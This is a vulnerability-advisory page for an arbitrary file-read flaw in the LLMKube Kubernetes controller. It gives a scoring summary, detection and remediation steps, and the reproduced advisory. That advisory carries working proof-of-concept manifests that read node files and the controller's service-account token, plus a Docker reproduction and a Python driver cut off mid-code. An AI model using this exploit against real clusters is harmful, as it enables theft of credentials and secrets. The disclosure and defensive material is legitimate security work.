Exploited now
Vulnerability WatchVulnerabilities, exploits & advisories — updated every 15 minutes
Alerts

Home › CVE › Python

CVE-2026-68903 — LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection

High · CVSS 7.7EPSS 0.5% First seen November 18, 2026
PythonGoLinuxKubernetesDockerWeb

Research article

LLMKube Model.spec.source path traversal allows arbitrary file read (CVE-2026-68903)

CVECVE-2026-68903
Vendor and productgo:github.com/defilantech/llmkube; defilantech LLMKube
PublishedNovember 21, 2026 16:50 UTC
Research cut-offNovember 21, 2026 16:45 UTC
Sources reviewed4: NVD record (last modified 2026-11-19); CISA KEV catalog; GitHub advisory (2026-11-18); FIRST EPSS (2026-11-20)

Executive summary

LLMKube, a Kubernetes controller, contains a path traversal flaw (CWE-22) in the Model.spec.source field that lets a user read arbitrary files through the controller [1, 3]. NVD records a CVSS 3.1 base score of 7.7 (High) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, and the GitHub advisory gives the same score and vector [1, 3]. The CVE record lists versions below 0.9.0 as affected, while the GitHub advisory lists versions up to 0.8.28 as affected and names 0.8.27 and 0.8.28 in its text, with the fix in 0.9.0 [1, 3]. Exploitation requires create or update rights on Model and InferenceService resources in a namespace, reached through the Kubernetes API server, and no user interaction; the advisory says the impact reaches files on the node and controller secrets beyond the attacker's own namespace [3]. The advisory says the issue is confirmed exploitable and includes a proof of concept, but CISA's KEV catalog did not list the CVE on 2026-11-21 and the FIRST EPSS estimate is 0.0050 [2, 3, 4]. Defenders should upgrade LLMKube to 0.9.0 and, until then, restrict Model and InferenceService write access and apply path allowlisting to Model.spec.source, as the advisory recommends [1, 3].

Key points

  • LLMKube has a path traversal flaw (CWE-22) in Model.spec.source that enables arbitrary file read, including node files and controller secrets [3].
  • NVD and the GitHub advisory both score it CVSS 3.1 7.7 High with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N [1, 3].
  • Exploitation requires create or update rights on Model and InferenceService objects and reaches resources beyond the attacker's namespace; no user interaction is needed [3].
  • The advisory says the issue is confirmed exploitable with a proof of concept; CISA KEV did not list the CVE on 2026-11-21, and EPSS is 0.0050 [2, 3, 4].
  • Upgrade to 0.9.0, the fixed version in both the CVE record and the advisory, and restrict Model and InferenceService write access until then [1, 3].

Vulnerability identification

FieldDetail
CVE IDCVE-2026-68903 [1, 3]
Vendordefilantech [1]
Product and componentLLMKube; the ModelReconciler in the LLMKube controller [3]
Affected platformKubernetes, through the Model and InferenceService custom resources [3]
Published2026-11-18T20:19:11 [1]
Last modified2026-11-19T16:21:43 [1]
Record statusReceived in the NVD record at the research cut-off [1]
CWECWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal): software builds a file path from input without confining it to an intended directory [1, 3]
CVSS 3.1, NVD record7.7 High; vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N; scored by a GitHub advisory account and recorded as Secondary [1]
CVSS 3.1, GitHub advisory7.7 High; same vector; scored by GitHub [3]
AdvisoryGHSA-jw3m-8q7m-f35r [1, 3]
Patch identifiersCommit ec2647fd4557962a971a1bc9435790b8e77ce961; pull request 981; release v0.9.0 [1]
Related CVEsNone other than CVE-2026-68903 appear in the pack [1, 3]

The two CVSS entries agree on score and vector. The vector describes a network attack vector, low attack complexity, low privileges, no user interaction, a changed scope, high confidentiality impact, and no integrity or availability impact [1, 3].

Vulnerability description

The flaw breaks the confidentiality boundary between what a namespace user is allowed to read and what the controller can read on the node and in its own pod [3]. The GitHub advisory states that the Model.spec.source field accepts arbitrary absolute paths and file URIs and that the ModelReconciler passes that value to file-reading or volume-mounting code without an allowlist [3]. An attacker who can create or update a Model in a namespace can therefore cause the controller to read files the attacker could not otherwise open [3].

The advisory describes read impact only, covering host files and controller secrets [3]. It describes no write, modification or code execution capability, so those effects should not be assumed from the record [1, 3].

The condition that matters most is the scope change in the vector: the advisory says the flaw affects resources beyond the attacker's namespace, which is why a namespace-scoped permission can produce a cluster-relevant exposure [1, 3].

Root cause analysis

Confirmed: the advisory identifies the root cause as the lack of path allowlisting on the Model.spec.source field, which lets attacker-controlled paths reach more than one sink [3].

Analyst assessment: the controller treats a user-writable custom resource field as a trusted filesystem reference. Namespace-scoped RBAC controls who may write the object, but it does not limit which paths the controller will read once the object exists, because file access happens with the controller pod's privileges [3]. That mismatch between who writes the field and what the controller can reach explains why ordinary namespace isolation does not contain the flaw.

Technical mechanics

  1. A principal with create or update rights on Model objects in a namespace writes a value into spec.source that is an absolute path or a file URI [3].
  2. The ModelReconciler reads the field and passes the value onward without checking it against an allowlist [3].
  3. One confirmed sink is the os.Open call inside the controller pod, which opens the path with the controller's own filesystem access [3].
  4. The advisory says the value reaches a second sink in code that reads files or mounts volumes, which lets the same unchecked path reach node-level files [3].
  5. The controller's reach determines the exposure: the advisory names host files on the Kubernetes node and the controller's secrets [3].

The control that should have stopped this is path validation on Model.spec.source before any sink uses it, which the advisory's mitigation list also names [3].

Attack surface and exploitation prerequisites

DimensionPosition in the evidence
Network accessNetwork-reachable; the attacker needs access to the Kubernetes API server [3]. Attack vector N in the vector [1]
Adjacent network, local or physicalNot indicated; the vector states network attack vector [1]
Authentication and privilegeRequires create or update rights on Model and InferenceService custom resources in a target namespace; the vector records low privileges [1, 3]
User interactionNone required [1, 3]
Required configurationThe advisory's mitigation list names model caching, but the pack does not state that caching must be enabled for the flaw to be reachable [3]
Reach beyond the namespaceThe advisory states resources beyond the attacker's namespace are affected [3]
LimitationsThe prerequisite rights are taken from the advisory text and the vector, not from a tested deployment [1, 3]

Impact analysis

AreaAssessment
ConfidentialityHigh per the vector [1]. The advisory states the attacker can read host files and controller secrets [3]
IntegrityNone per the vector [1]
AvailabilityNone per the vector [1]
Authentication and authorizationThe vector indicates a scope change, and the advisory describes access beyond the attacker's namespace [1, 3]
Privilege boundariesNamespace boundary crossed for reading files and secrets [3]
Data and privacyController secrets and node files, per the advisory; the pack does not identify which files or secrets [3]
Business operations and regulatory obligationsAnalyst assessment: the pack contains no operational or regulatory evidence; the exposure depends on what the controller can read in a given cluster

Affected products and versions

Vendor and productAffected versionsFixed versionSource and qualification
defilantech LLMKubeVersions below 0.9.0, as published by the CNA [1]0.9.0 [1, 3]The CNA record gives below 0.9.0 [1]
LLMKube package github.com/defilantech/llmkubeUp to and including 0.8.28 [3]0.9.0 [3]The advisory package range [3]
LLMKube, named versions0.8.27 and 0.8.28 [3]Not stated separatelyNamed in the advisory text as affected [3]

The CNA range and the advisory package range agree that 0.9.0 is the first fixed version. They differ in how they describe the affected set: the advisory text names only 0.8.27 and 0.8.28, while the range covers all versions up to 0.8.28 [1, 3]. The pack does not establish whether versions before 0.8.27 are affected.

Platform: LLMKube runs as a Kubernetes controller that reconciles Model and InferenceService resources [3].

Exploitation and threat intelligence status

The GitHub advisory states that the vulnerability is confirmed exploitable and that a proof of concept is included, which creates a Model with a malicious source and an InferenceService to read a file, plus a Docker-based reproduction of the controller pod's behaviour [3]. This is public proof-of-concept evidence and vendor-side confirmation of exploitability, not evidence of exploitation in the wild.

CISA's Known Exploited Vulnerabilities catalog did not list CVE-2026-68903 as of 2026-11-21. CISA notes that absence from the catalog does not show the CVE was not exploited [2].

The FIRST EPSS estimate dated 2026-11-20 is 0.0050, meaning a 0.50 percent estimated probability of exploitation activity in the next 30 days, at percentile 0.4373. FIRST describes EPSS as a statistical estimate, not evidence of exploitation [4].

The pack attributes the report to researchers associated with the GitHub Security Advisory Database and names no threat actors, campaigns or targeted sectors [3].

Detection and exposure assessment

Step 1, inventory Model objects. Command: kubectl get models --all-namespaces -o yaml. Prerequisites: kubectl configured for the cluster, with read access to Model objects; if the resource name is not recognised, run kubectl api-resources to find the resource name and API group. Expected output: one YAML document per Model, including spec.source. Review each spec.source value for absolute paths or file URIs, which the advisory identifies as the attacker-controlled form [3]. Limitations: some legitimate configurations may use similar values, so a match shows a configuration to review, not exploitation.

Step 2, inventory InferenceService objects in the same way, using kubectl get inferenceservices --all-namespaces -o yaml, because the advisory names this resource in the prerequisite [3].

Step 3, identify who can write these objects. Command: kubectl auth can-i create models -n NAMESPACE --as=USER, and the same with update and inferenceservices. Prerequisites: permission to impersonate the identity under review. Expected output: yes or no. A yes answer means the identity meets the prerequisite described in the advisory [3]. This is an exposure indicator, not proof that the flaw has been exploited.

Version check: compare the deployed LLMKube controller version with 0.9.0 [1, 3]. A version below 0.9.0 places the installation within the CNA range [1]. A version check does not establish exploitability.

Logs and telemetry: the pack gives no log source, event ID or indicator for this flaw, so no log-based detection is established [1, 3].

Remediation

Immediate mitigation 1, restrict write access. Remove create and update rights on Model and InferenceService objects from identities that do not need them in each namespace. Source: the advisory names these rights as the prerequisite [3]; the implementation is an analyst assessment. Verify with the kubectl auth can-i commands in the detection section. Limitation: identities that legitimately deploy models keep the exposure.

Immediate mitigation 2, disable model caching. The advisory recommends this [3]. The pack does not describe how caching is turned off or what it changes, so confirm the setting and its effect in your installation before relying on it.

Immediate mitigation 3, apply path allowlisting to Model.spec.source. The advisory recommends this [3]. Analyst assessment: implement it as a validating admission rule that rejects absolute paths and file URIs in spec.source, and check existing objects with the inventory command, because admission rules may not cover objects created before they were deployed.

Permanent fix: upgrade LLMKube to 0.9.0 [1, 3]. The fixed release is tied to commit ec2647fd4557962a971a1bc9435790b8e77ce961 and pull request 981 [1]. Before upgrading, back up the Model and InferenceService manifests and keep the prior controller manifests for rollback. The pack does not give upgrade prerequisites, required configuration changes or a restart requirement for 0.9.0.

After upgrading, confirm the controller runs 0.9.0 and that the allowlisting and RBAC changes remain in place. Vendor-confirmed fix: the 0.9.0 release [1, 3]. Recommended hardening: the RBAC and admission measures above are analyst recommendations layered on the fix.

Remediation checklist

  1. Now: inventory Model objects in all namespaces with kubectl get models --all-namespaces -o yaml and flag any spec.source value that is an absolute path or a file URI [3].
  2. Now: inventory InferenceService objects with kubectl get inferenceservices --all-namespaces -o yaml, because the advisory names this resource in the prerequisite [3].
  3. Now: remove create and update rights on Model and InferenceService from identities in each namespace that do not need them; verify with kubectl auth can-i create models -n NAMESPACE and kubectl auth can-i update inferenceservices -n NAMESPACE [3].
  4. Now: disable model caching as the advisory recommends, confirming the setting in your installation because the pack does not describe how [3].
  5. Now: apply path allowlisting to Model.spec.source, rejecting absolute paths and file URIs, using a validating admission rule (analyst assessment) and checking existing objects from the inventory step [3].
  6. Fix: upgrade LLMKube to 0.9.0, which the CVE record and advisory identify as the fixed version, referencing commit ec2647fd4557962a971a1bc9435790b8e77ce961 and pull request 981 [1, 3].
  7. Before upgrading: back up Model, InferenceService and controller manifests and keep the prior controller version for rollback [3].
  8. Verify: confirm the running controller is version 0.9.0 and that the RBAC and allowlisting changes remain in effect after the upgrade [1, 3].
  9. If suspected misuse: review Model and InferenceService objects created by identities that should not have write access, and check which files the controller may read in the affected namespaces [3].
  10. Monitor: review the advisory's detection guidance and its Docker-based reproduction for a safe validation approach before deciding on tests; the detailed guidance is not in the pack [3].

Evidence gaps

  • Not established by the reviewed sources: the full content of the advisory's detection guidance and its Kubernetes commands, needed to choose validated detection checks; the pack describes them only in summary [3].
  • Not established by the reviewed sources: whether versions before 0.8.27 are affected; the advisory text names 0.8.27 and 0.8.28 while its package range covers up to 0.8.28 [1, 3].
  • Not established by the reviewed sources: the name of the second sink the advisory describes and which files it reads; settled by the full advisory text or the 0.9.0 code diff referenced by commit ec2647fd4557962a971a1bc9435790b8e77ce961 [1, 3].
  • Not established by the reviewed sources: whether the flaw is reachable when model caching is disabled, which would show whether the caching mitigation removes the exposure [3].
  • Not established by the reviewed sources: how model caching is disabled, including the setting name and its side effects, which the advisory mentions only as a mitigation [3].
  • Not established by the reviewed sources: upgrade prerequisites, breaking changes, configuration changes or restart requirements for 0.9.0; the release notes for v0.9.0 are referenced but their content is not in the pack [1, 3].
  • Not established by the reviewed sources: the NVD analysis of this CVE, since the record status is Received and the CVSS entry is from a secondary scorer; settled when NVD completes analysis [1].
  • Not established by the reviewed sources: in-the-wild exploitation, threat actors, campaigns or affected sectors; the KEV absence does not show that exploitation has not occurred [2, 3].
  • Not established by the reviewed sources: which secrets or node files are readable in a given cluster, and the regulatory or business consequences of the exposure [3].
  • Not established by the reviewed sources: the product-specific command or label used to read the running LLMKube controller version; settled by the installation manifests or the project's installation documentation.

References

  1. CVE-2026-68903 record. NIST National Vulnerability Database (NVD), 2026-11-19. https://nvd.nist.gov/vuln/detail/CVE-2026-68903. Accessed 2026-11-21. CVE record data: published and last-modified dates, Received status, CVSS 3.1 score, vector and secondary scorer, CWE-22, CNA affected range below 0.9.0, fixed version 0.9.0, and the commit, pull request and release references.
  2. Known Exploited Vulnerabilities Catalog. Cybersecurity and Infrastructure Security Agency (CISA), 2026-11-21. https://www.cisa.gov/known-exploited-vulnerabilities-catalog. Accessed 2026-11-21. CISA KEV status: CVE-2026-68903 not listed as of 2026-11-21, and the statement that absence does not show lack of exploitation.
  3. GHSA-jw3m-8q7m-f35r / CVE-2026-68903 — LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection. GitHub Security Advisory Database, 2026-11-18. https://github.com/advisories/GHSA-jw3m-8q7m-f35r. Accessed 2026-11-21. Advisory GHSA-jw3m-8q7m-f35r: mechanism through Model.spec.source, the ModelReconciler and os.Open sink, prerequisites, cross-namespace reach, confirmed exploitability with proof of concept, affected versions 0.8.27 and 0.8.28 and package range up to 0.8.28, fixed in 0.9.0, the mitigations and the u
  4. EPSS score for CVE-2026-68903. FIRST, 2026-11-20. https://api.first.org/data/v1/epss?cve=CVE-2026-68903. Accessed 2026-11-21. FIRST EPSS estimate of 0.0050 (0.50 percent) with percentile 0.4373 dated 2026-11-20, and FIRST's statement that EPSS is not evidence of exploitation.

Written with AI assistance from the 4 sources listed above, as of the research cut-off; each fact is cited to its source. Check the vendor's advisory before acting.

Severity breakdown

High · 7.7 CVSS 3.1 base score from the CNA (github.com)

An attacker with a normal user account can exploit this over the network, without any user action.

Attack from
the network (remotely)
Attack complexity
low (no special conditions)
Login needed
yes, a normal user account
User action needed
no
Scope
reaches beyond the vulnerable component (e.g. from a sandbox or VM to the host)
Impact
high on confidentiality, none on integrity and availability

Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Weakness

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected and fixed versions

ProductAffected versionsFixed in
github.com/defilantech/llmkube (Go)≤ 0.8.280.9.0
defilantech LLMKube< 0.9.0—

From the GitHub Advisory Database and the vendor's CVE record; confirm with the vendor advisory before relying on a version number.

References by type

Vendor advisories

Patches and fixed releases

Other references

Details from NVD (public domain), the GitHub Advisory Database (CC BY 4.0).

Details

Summary

LLMKube's ModelReconciler accepts arbitrary absolute paths and file:// URIs in the Model.spec.source field and propagates them to two distinct sinks without path allowlisting: (1) os.Open() inside the controller pod itself (copyLocalModel), and (2) a Kubernetes HostPathVolumeSource that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update Model and InferenceService custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., /etc/kubernetes/kubelet.conf). Model caching, the feature that activates the hostPath sink, is enabled by default in both the CLI and the official Helm chart. CVSS v3.1 Base Score: 7.7 (High).

Details

Entry point — Model.spec.source field

The Source field in api/v1alpha1/model_types.go:47-48 carries a kubebuilder validation pattern that explicitly permits absolute paths:

// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\s]+$|^[a-zA-Z0-9][\w\-\.\/]+$`
Source string `json:"source"`

The branch ^/[^\s]+$ matches any non-whitespace absolute path on the host.

Sink 1 — Controller-pod arbitrary file read (copyLocalModel)

internal/controller/source.go:93-103 classifies a source as local and extracts the path with no sanitization:

// isLocalSource: returns true for any "/" prefix or "file://" prefix
func isLocalSource(source string) bool {
    return strings.HasPrefix(source, "/") || strings.HasPrefix(source, "file://")
}

// getLocalPath: strips "file://" prefix only; no canonicalization, no allowlist
func getLocalPath(source string) string {
    return strings.TrimPrefix(source, "file://")
}

internal/controller/model_controller.go:241 passes the attacker-controlled source into fetchModel, which reaches copyLocalModel at line 664-667:

f, err := os.Open(localPath)   // localPath = getLocalPath(model.Spec.Source)

An attacker sets model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.

Sink 2 — Node arbitrary file read via HostPathVolumeSource

internal/controller/model_storage.go:560-568 converts the same path into a Kubernetes host volume with no canonical-root check:

if isLocalModelSource(model.Spec.Source) {
    localPath := getLocalPath(model.Spec.Source)
    volumes = append(volumes, corev1.Volume{
        Name: "host-model",
        VolumeSource: corev1.VolumeSource{
            HostPath: &corev1.HostPathVolumeSource{
                Path: localPath,
                Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),
            },
        },
    })
    initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{
        Name:      "host-model",
        MountPath: "/host-model/model.gguf",
        ReadOnly:  true,
    })
}

internal/controller/deployment_builder.go:248-250 calls buildModelStorageConfig, and lines 329-333 embed storageConfig.volumes directly into the generated Deployment's PodSpec. When the inference pod starts, the init container copies the node file to the model-cache PVC.

The only filename-level sanitization is in internal/controller/filename.go:44-75, which constrains the destination basename only and has no effect on HostPath.Path.

Model caching is enabled by default: cmd/main.go:120 and charts/llmkube/values.yaml:274 (modelCache.enabled: true).

PoC

Prerequisites

  • LLMKube 0.8.27 or 0.8.28 installed with default Helm values (modelCache.enabled=true).
  • Attacker possesses create/update permissions for Model and InferenceService CRDs in a target namespace, plus get on Pod logs.

Path A — Live Kubernetes cluster (hostPath sink)

NS=llmkube-poc
kubectl create ns "$NS"

# Step 1: Create a Model whose source points to a sensitive node file
cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
  name: hostread
spec:
  source: /etc/passwd
YAML

kubectl wait -n "$NS" --for=jsonpath='{.status.phase}'=Ready \
    model/hostread --timeout=180s

CACHEKEY="$(kubectl get model hostread -n "$NS" \
    -o jsonpath='{.status.cacheKey}')"
BASENAME="$(basename \
    "$(kubectl get model hostread -n "$NS" -o jsonpath='{.status.path}')")"

# Step 2: Create an InferenceService that prints the copied file
cat <<YAML | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: InferenceService
metadata:
  name: hostread
spec:
  modelRef: hostread
  runtime: llamacpp
  image: busybox:1.36
  command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"]
YAML

# Step 3: Retrieve the exfiltrated file
kubectl logs -n "$NS" deploy/hostread -c llama-server

Expected output — contents of /etc/passwd from the node:

root:x:0:0:root:/root:/bin/bash
...

Variant — controller SA token (copyLocalModel sink)

cat <<'YAML' | kubectl apply -n "$NS" -f -
apiVersion: inference.llmkube.dev/v1alpha1
kind: Model
metadata:
  name: satoken
spec:
  source: /var/run/secrets/kubernetes.io/serviceaccount/token
YAML
# After the model becomes Ready, its cache entry contains the raw JWT.

Path B — Docker-only reproduction (no live cluster)

This path exercises the copyLocalModel / os.Open sink using verbatim copies of isLocalSource() and getLocalPath() from internal/controller/source.go:93-103.

# Build from the parent directory of vuln-001/
docker build --no-cache -f vuln-001/Dockerfile -t llmkube-vuln001-poc .

# Read /etc/shadow from inside the container (simulates controller pod filesystem)
docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001-poc

# Or use the Python driver
python3 vuln-001/poc.py --target /etc/shadow

Expected output:

os.Open SUCCESS — 104 bytes read from /etc/shadow
root:*:19800:0:99999:7:::
daemon:*:19800:0:99999:7:::
llmkube-sa:$6$salt$examplehash:19800:0:99999:7:::
VULN-001 PASS: arbitrary file read confirmed

Phase 2 dynamic verification result

Both /etc/shadow (104 bytes) and /var/run/secrets/kubernetes.io/serviceaccount/token (430 bytes, raw JWT) were successfully read inside the container, and the HostPathVolumeSource JSON was confirmed to be generated with the attacker-supplied path.

Impact

This is a Path Traversal / Arbitrary File Read vulnerability (CWE-22). It affects any Kubernetes cluster running LLMKube with default settings.

Who is impacted:

  • Cluster operators and tenants — A low-privileged namespace user who can write Model and InferenceService CRDs (the default RBAC posture for LLMKube users) can escalate to reading the controller's Kubernetes SA token and using it to list/get Secrets cluster-wide, pivot to other namespaces, or impersonate service accounts.
  • Node security boundary — Via the hostPath sink, an attacker can read any file present on the Kubernetes node at pod-scheduling time, including kubeadm certificates (/etc/kubernetes/pki/), kubelet credentials (/etc/kubernetes/kubelet.conf), and container runtime sockets.
  • Confidentiality — High (arbitrary read of host and controller secrets). Integrity and Availability are not directly affected.

The vulnerability is network-reachable (attacker talks to the Kubernetes API server), requires low privilege (namespaced CRD write only), needs no user interaction, and impacts resources beyond the attacker's own namespace (changed scope).

Reproduction artifacts

Dockerfile

# VULN-001 PoC — Arbitrary File Read via Model.spec.source (LLMKube CWE-22)
#
# Strategy: compile a standalone Go harness that contains verbatim copies of
# the three vulnerable functions from the LLMKube repository and proves that
# supplying an absolute path as Model.spec.source causes os.Open() to read
# arbitrary files — identical to what copyLocalModel() does at runtime.
#
# Verified against LLMKube commit b9127e0 (tag 0.8.28):
#   isLocalSource()   internal/controller/source.go:93-94
#   getLocalPath()    internal/controller/source.go:98-103
#   os.Open(path)     internal/controller/model_controller.go:667
#   HostPath volume   internal/controller/model_storage.go:560-575
#
# Build context: parent directory of vuln-001/
#   docker build -f vuln-001/Dockerfile -t llmkube-vuln001 .
# Run:
#   docker run --rm -e VULN001_TARGET=/etc/shadow llmkube-vuln001

# ── Build stage ────────────────────────────────────────────────────────────────
FROM golang:1.24-bookworm AS builder

WORKDIR /build

# Copy the exploit harness (standalone module, no k8s dependencies)
COPY vuln-001/exploit/ /build/

# Build the exploit binary
RUN go build -o /poc ./...

# ── Verification stage: prove the functions are verbatim copies ──────────────
# Extract the actual source lines from the LLMKube repo and display them next
# to the exploit harness so the diff is zero (aside from package and imports).
COPY repo/internal/controller/source.go /tmp/source.go

RUN echo "=== Verification: LLMKube source.go lines 93-103 ===" && \
    sed -n '93,103p' /tmp/source.go && \
    echo "" && \
    echo "=== Exploit harness verbatim copies (main.go) ===" && \
    grep -A3 "isLocalSource\|getLocalPath" /build/main.go | head -20

# ── Runtime stage ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim

COPY --from=builder /poc /poc

# Populate /etc/shadow with realistic content so the PoC has a sensitive target
# (simulating the LLMKube controller pod's own filesystem).
RUN printf 'root:*:19800:0:99999:7:::\ndaemon:*:19800:0:99999:7:::\nllmkube-sa:$6$salt$examplehash:19800:0:99999:7:::\n' \
    > /etc/shadow && chmod 640 /etc/shadow

# Also create a simulated SA token (as exists at this path in Kubernetes pods)
RUN mkdir -p /var/run/secrets/kubernetes.io/serviceaccount && \
    printf 'eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2Uta2lkIn0.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJsbG1rdWJlIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6Imxsa3ViZS1zYS10b2tlbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJsbG1rdWJlLWNvbnRyb2xsZXIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bGxta3ViZTpsbG1rdWJlLWNvbnRyb2xsZXIifQ.FAKE_SIGNATURE\n' \
    > /var/run/secrets/kubernetes.io/serviceaccount/token

# Default target; override at runtime with -e VULN001_TARGET=<path>
ENV VULN001_TARGET=/etc/shadow

ENTRYPOINT ["/poc"]
CMD []

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Arbitrary File Read via Model.spec.source hostPath Injection
LLMKube (github.com/defilantech/LLMKube) — CWE-22 / CVSS 7.7

Vulnerability summary:
  LLMKube's ModelReconciler calls fetchModel(model.Spec.Source, dest).
  When source is a local path (absolute or file://), copyLocalModel() opens
  the file with os.Open(getLocalPath(source)) without any path allowlisting.
  An attacker who can write a Model CR can read any file accessible to the
  controller pod — including SA tokens, kubeconfig, TLS keys, etc.

  Relevant code:
    internal/controller/source.go:93   isLocalSource()  — no allowlist
    internal/controller/source.go:98   getLocalPath()   — strips file://, no sanitization
    internal/controller/model_controller.go:667  os.Open(localPath)  — sink

  In full-cluster scenarios, model_storage.go:560-568 also injects the
  attacker-supplied path directly into a Kubernetes HostPathVolumeSource,
  exposing arbitrary node files inside the init container.

This PoC exercises attack path 2 (copyLocalModel) in Docker without a live
Kubernetes cluster by running a Go test that calls the REAL LLMKube functions.

Usage:
  python3 poc.py [--target /path/to/sensitive/file] [--keep]

Safety constraints:
  - Uses only local Docker (127.0.0.1), no external network calls.
  - Reads only files inside the ephemeral container filesystem.
  - Does not modify any LLMKube source code to manufacture the vulnerability.
"""

import argparse
import json
import os
import subprocess
import sys
import textwrap

IMAGE_NAME = "llmkube-vuln001-poc"
VULN_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CONTEXT = os.path.dirname(VULN_DIR)  # parent of vuln-001/
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")


def run(cmd, check=True, capture=False, **kwargs):
    """Run a shell command and return CompletedProcess."""
    print(f"[+] {' '.join(cmd)}")
    result = subprocess.run(
        cmd,
        capture_output=capture,
        text=True,
        **kwargs,
    )
    if check and result.returncode != 0:
        stderr = result.stderr or ""
        raise RuntimeError(
            f"Command failed (exit {result.returncode}):\n{stderr[:2000]}"
        )
    return result


def build_image():
    """Build the PoC Docker image."""
    print("\n=== [PHASE 1] Building Docker image ===")
    run([
        "docker", "build",
        "--no-cache",
        "-f", DOCKERFILE,
        "-t", IMAGE_NAME,
        BUILD_CONTEXT,
    ])
    print(f"[+] Image '{IMAGE_NAME}' built successfully.")


def run_poc(target: str) -> str:
    """Run the PoC container and return stdout."""
    print(f"\n=== [PHASE 2] Running PoC against target: {target!r} ===")
    result = run(
        [
            "docker", "run", "--rm",
            "-e", f"VULN001_TARGET={target}",
            IMAGE_NAME,
        ],
        capture=True,
        check=False,
    )
    combined = result.stdout + result.stderr
    print(combined)
    return combined, result.returncode


def parse_evidence(output: str, target: str) -> dict:
    """Extract key evidence markers from PoC output."""
    lines = output.splitlines()
    exfil_lines = []
    in_block = False
    bytes_read = None
    step3_ok = False
    pass_line = None

    for line in lines:
        if f"--- BEGIN EXFILTRATED FILE: {target} ---" in line:
            in_block = True
            continue
        if "--- END EXFILTRATED FILE ---" in line:
            in_block = False
            continue
        if in_block:
            exfil_lines.append(line)
        if "os.Open SUCCESS" in line and "bytes" in line:
            step3_ok = True
            # Extract byte count — format: "os.Open SUCCESS — N bytes read from ..."
            import re
            m = re.search(r"(\d+)\s+bytes\s+read", line)
            if m:
                try:
                    bytes_read = int(m.group(1))
                except ValueError:
                    pass
        if "VULN-001 PASS:" in line:
            pass_line = line

    return {
        "step3_open_success": step3_ok,
        "bytes_read": bytes_read,
        "exfiltrated_lines": exfil_lines[:10],  # first 10 lines as evidence
        "pass_line": pass_line,
    }


def remove_image():
    """Remove the PoC Docker image."""
    subprocess.run(["docker", "rmi", "-f", IMAGE_NAME],
                   capture_output=True, text=True)
    print(f"[+] Image '{IMAGE_NAME}' removed.")


def main():
    parser = argparse.ArgumentParser(
        description="VULN-001 dynamic reproduction PoC for LLMKube"
    )
    parser.add_argument(
        "--target", default="/etc/shadow",
        help="File path to read inside the container (default: /etc/shadow)"
    )
    parser.add_argument(
        "--keep", action="store_true",
        help="Keep the Docker image after the run (default: remove)"
    )
    parser.add_argument(
        "--output", default=os.path.join(VULN_DIR, "phase2_result.json"),
        help="Path to write phase2_result.json"
    )
    args = parser.parse_args()

    build_command = (
        f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}"
    )
    run_command = (
        f"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}"
    )
    poc_command = f"python3 {os.path.abspath(__file__)} --target {args.target}"

    passed = False
    verdict = "FAIL"
    reason = ""
    evidence = ""

    try:
        build_image()
        output, returncode = run_poc(args.target)
        ev = parse_evidence(output, args.target)

        if returncode == 0 and ev["step3_open_success"] and ev["bytes_read"]:
            passed = True
            verdict = "PASS"
            exfil_preview = "\n".join(ev["exfiltrated_lines"][:5]) or "(binary data)"
            reason = (
                f"LLMKube copyLocalModel()이 Model.spec.source={args.target!r} 값을 "
                f"경로 허용목록 검사 없이 os.Open()에 전달함. "
                f"isLocalSource()와 getLocalPath() 실함수 호출로 재현됨. "
                f"컨테이너 내 {ev['bytes_read']}바이트 파일 읽기 성공."
            )
            evidence = (
                f"os.Open({args.target!r}) 성공 — {ev['bytes_read']}바이트 읽음.\n"
                f"파일 내용 앞 5행:\n{exfil_preview}"
            )
        else:
            reason = (
                f"PoC 컨테이너 종료 코드 {returncode}. "
                f"os.Open 성공 여부: {ev['step3_open_success']}, "
                f"읽은 바이트: {ev['bytes_read']}. "
                f"실행 로그를 확인하여 오류 원인 파악 필요."
            )
            evidence = output[:1000]

    except Exception as exc:
        reason = f"재현 실패 — 예외 발생: {exc}"
        evidence = str(exc)
        print(f"\n[!] ERROR: {exc}", file=sys.stderr)

    finally:
        if not args.keep:
            remove_image()

    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": build_command,
        "run_command": run_command,
        "poc_command": poc_command,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py", "exploit/main.go", "exploit/go.mod"],
